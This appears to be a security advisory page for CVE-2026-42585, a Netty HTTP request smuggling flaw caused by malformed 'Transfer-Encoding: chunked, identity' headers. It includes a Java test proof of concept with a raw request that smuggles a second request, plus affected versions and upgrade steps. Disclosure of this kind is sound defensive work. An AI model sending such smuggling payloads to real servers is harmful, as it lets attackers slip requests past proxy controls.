CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

Published May 7, 2026
·
Updated

Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Other sources

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

— MITRE

Affected Software

15 affected componentsFixes available
maven/io.netty:netty-codec-http<=4.1.132.Final
4.1.133.Final
maven/io.netty:netty-codec-http>=4.2.0.Alpha1<=4.2.12.Final
4.2.13.Final
Netty Netty<4.1.133
Netty Netty>=4.2.0<4.2.13
IBM Planning Analytics Local<=2.1.0-2.1.21
debian/netty<=1:4.1.48-7+deb12u2, <=1:4.1.48-10+deb13u1, <=1:4.1.48-16
1:4.1.140-1
ubuntu/netty<1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1
1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1
ubuntu/netty<1:4.0.34-1ubuntu0.1~esm4
1:4.0.34-1ubuntu0.1~esm4
ubuntu/netty<1:4.1.7-4ubuntu0.1+esm6
1:4.1.7-4ubuntu0.1+esm6
ubuntu/netty<1:4.1.45-1ubuntu0.1~esm6
1:4.1.45-1ubuntu0.1~esm6
ubuntu/netty<1:4.1.48-4+deb11u2ubuntu0.1+esm3
1:4.1.48-4+deb11u2ubuntu0.1+esm3
ubuntu/netty<1:4.1.48-9ubuntu0.1+esm3
1:4.1.48-9ubuntu0.1+esm3
ubuntu/netty*
ubuntu/netty*
ubuntu/netty<1:4.1.48-16ubuntu0.1~esm2
1:4.1.48-16ubuntu0.1~esm2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.1.133.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.2.13.Final
  3. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.140-1
  4. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1
  5. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.0.34-1ubuntu0.1~esm4
  6. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.7-4ubuntu0.1+esm6
  7. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.45-1ubuntu0.1~esm6
  8. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-4+deb11u2ubuntu0.1+esm3
  9. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-9ubuntu0.1+esm3
  10. Upgrade

    Upgrade ubuntu/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-16ubuntu0.1~esm2
  11. Upgrade

    Upgrade Netty to a version that resolves this vulnerability.

    Fixed in 4.2.13.Final
  12. Upgrade

    Upgrade Netty to a version that resolves this vulnerability.

    Fixed in 4.1.133.Final

Event History

May 7, 2026
Advisory Published
via GitHub·12:22 AM
Data Sourced
via GitHub·12:22 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·06:12 PM
Data Sourced
via MITRE·06:12 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·07:02 PM
DescriptionSeverityAffected Software
Data Sourced
via OSV·07:17 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness
May 18, 2026
Data Sourced
via NVD·12:24 PM
Affected Software
Updated
via NVD·12:24 PM
Severity
Event
via NVD·12:24 PM
Jul 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Aug 20, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 11, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 14, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 22, 2026
Updated
via IBM·12:00 AM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-42585?

CVE-2026-42585 is categorized as a severity vulnerability that can lead to request smuggling attacks.

2

How do I fix CVE-2026-42585?

To fix CVE-2026-42585, upgrade to Netty version 4.1.133.Final or 4.2.13.Final.

3

What software is affected by CVE-2026-42585?

CVE-2026-42585 affects the Netty codec HTTP package versions up to 4.1.132.Final and between 4.2.0.Alpha1 and 4.2.12.Final.

4

What type of attacks can CVE-2026-42585 lead to?

CVE-2026-42585 can enable attackers to perform request smuggling attacks due to incorrect parsing of malformed Transfer-Encoding.

5

What is the cause of the vulnerability CVE-2026-42585?

CVE-2026-42585 is caused by Netty incorrectly marking a request as chunked when malformed 'Transfer-Encoding: chunked, identity' is present.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203